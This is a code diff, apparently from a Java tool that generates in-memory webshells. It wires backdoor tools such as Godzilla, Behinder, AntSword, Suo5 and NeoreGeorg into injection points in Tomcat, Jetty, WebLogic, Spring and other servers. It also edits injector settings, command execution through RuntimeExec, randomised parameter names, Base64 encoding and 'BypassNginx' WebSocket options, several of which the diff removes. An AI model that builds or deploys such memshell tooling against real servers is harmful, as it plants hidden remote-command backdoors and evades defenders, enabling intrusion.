InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
|
||||||
.probeContent(ProbeContent.Bytecode)
|
|
||||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
|
||||||
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
|
||||||
.shrink(shellConfig.isShrink())
|
|
||||||
.debug(shellConfig.isDebug())
|
|
||||||
.staticInitialize(injectorConfig.isStaticInitialize())
|
|
||||||
.build();
|
|
||||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
|
||||||
.server(serverName)
|
|
||||||
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
|
||||||
.build();
|
|
||||||
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
|
||||||
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return MemShellResult.builder()
|
return MemShellResult.builder()
|
||||||
|
|||||||
@@ -8,8 +8,6 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -33,11 +31,9 @@ public class ServerFactory {
|
|||||||
static {
|
static {
|
||||||
register(Server.Tomcat, Tomcat::new);
|
register(Server.Tomcat, Tomcat::new);
|
||||||
register(Server.Jetty, Jetty::new);
|
register(Server.Jetty, Jetty::new);
|
||||||
register(Server.Jetty5, Jetty5::new);
|
|
||||||
register(Server.Undertow, Undertow::new);
|
register(Server.Undertow, Undertow::new);
|
||||||
register(Server.JBoss, Jboss::new);
|
register(Server.JBoss, Jboss::new);
|
||||||
register(Server.Resin, Resin::new);
|
register(Server.Resin, Resin::new);
|
||||||
register(Server.Resin2, Resin2::new);
|
|
||||||
register(Server.WebLogic, WebLogic::new);
|
register(Server.WebLogic, WebLogic::new);
|
||||||
register(Server.WebSphere, WebSphere::new);
|
register(Server.WebSphere, WebSphere::new);
|
||||||
register(Server.GlassFish, GlassFish::new);
|
register(Server.GlassFish, GlassFish::new);
|
||||||
@@ -48,8 +44,6 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struts2, Struts2::new);
|
|
||||||
register(Server.Dubbo, Dubbo::new);
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -64,8 +58,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -77,16 +69,10 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
|
||||||
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
|
||||||
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
|
|
||||||
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -111,7 +97,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.addShellClass(ACTION, BehinderStruts2Action.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -129,7 +114,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -145,9 +129,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
@@ -159,16 +140,10 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(HANDLER, CommandJettyHandler.class)
|
|
||||||
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
|
||||||
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruts2Action.class)
|
|
||||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
|
||||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -194,33 +169,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.addShellClass(ACTION, Suo5Struts2Action.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
|
||||||
.addShellClass(FILTER, Suo5v2Filter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
|
||||||
.addShellClass(LISTENER, Suo5v2Listener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
|
||||||
.addShellClass(VALVE, Suo5v2Valve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
|
||||||
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
|
||||||
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
|
||||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -245,14 +193,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
|
||||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,14 +7,12 @@ package com.reajason.javaweb.memshell;
|
|||||||
public class ServerType {
|
public class ServerType {
|
||||||
public static final String TOMCAT = "Tomcat";
|
public static final String TOMCAT = "Tomcat";
|
||||||
public static final String JETTY = "Jetty";
|
public static final String JETTY = "Jetty";
|
||||||
public static final String JETTY5 = "Jetty5";
|
|
||||||
public static final String JBOSS_AS = "JBossAS";
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
public static final String UNDERTOW = "Undertow";
|
public static final String UNDERTOW = "Undertow";
|
||||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
public static final String WILDFLY = "Wildfly";
|
public static final String WILDFLY = "Wildfly";
|
||||||
public static final String RESIN = "Resin";
|
public static final String RESIN = "Resin";
|
||||||
public static final String RESIN2 = "Resin2";
|
|
||||||
public static final String GLASSFISH = "Glassfish";
|
public static final String GLASSFISH = "Glassfish";
|
||||||
public static final String PAYARA = "Payara";
|
public static final String PAYARA = "Payara";
|
||||||
public static final String WEBLOGIC = "WebLogic";
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
|||||||
@@ -9,9 +9,7 @@ public class ShellTool {
|
|||||||
public static final String Behinder = "Behinder";
|
public static final String Behinder = "Behinder";
|
||||||
public static final String Command = "Command";
|
public static final String Command = "Command";
|
||||||
public static final String Suo5 = "Suo5";
|
public static final String Suo5 = "Suo5";
|
||||||
public static final String Suo5v2 = "Suo5v2";
|
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
public static final String Proxy = "Proxy";
|
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,11 +23,9 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
|||||||
@@ -15,22 +15,17 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String UPGRADE = "Upgrade";
|
|
||||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
public static final String HANDLER = "Handler";
|
|
||||||
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
|
||||||
public static final String CUSTOMIZER = "Customizer";
|
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -45,13 +40,5 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
|
||||||
|
|
||||||
public static final String DUBBO_SERVICE = "DubboService";
|
|
||||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
|
||||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,42 +15,15 @@ import org.apache.commons.lang3.StringUtils;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
/**
|
|
||||||
* 接收参数的请求头或请求参数名称
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 加密器
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
/**
|
|
||||||
* 实现类
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
/**
|
|
||||||
* 命令执行模板,使用 {command} 作为占位符
|
|
||||||
*/
|
|
||||||
private String template;
|
|
||||||
|
|
||||||
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
public B paramName(String paramName) {
|
public B paramName(String paramName) {
|
||||||
@@ -60,22 +33,6 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
return self();
|
return self();
|
||||||
}
|
}
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -91,15 +48,12 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, BASE64, DOUBLE_BASE64;
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
public static Encryptor fromString(String encryptor) {
|
public static Encryptor fromString(String encryptor) {
|
||||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
return DOUBLE_BASE64;
|
return DOUBLE_BASE64;
|
||||||
}
|
}
|
||||||
if (encryptor != null && encryptor.equals("BASE64")) {
|
|
||||||
return BASE64;
|
|
||||||
}
|
|
||||||
return RAW;
|
return RAW;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,46 +16,34 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
|
/**
|
||||||
|
* 注入器 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> injectorBuilder;
|
||||||
|
/**
|
||||||
|
* 内存马 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> shellBuilder;
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
|
||||||
* 辅助类类名
|
|
||||||
*/
|
|
||||||
private String injectorHelperClassName;
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
/**
|
|
||||||
* 辅助类字节码
|
|
||||||
*/
|
|
||||||
private byte[] helperClassBytes;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加静态代码块调用构造方法初始化
|
|
||||||
*/
|
|
||||||
private boolean staticInitialize;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,38 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import lombok.*;
|
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
@Getter
|
|
||||||
@SuperBuilder
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@ToString
|
|
||||||
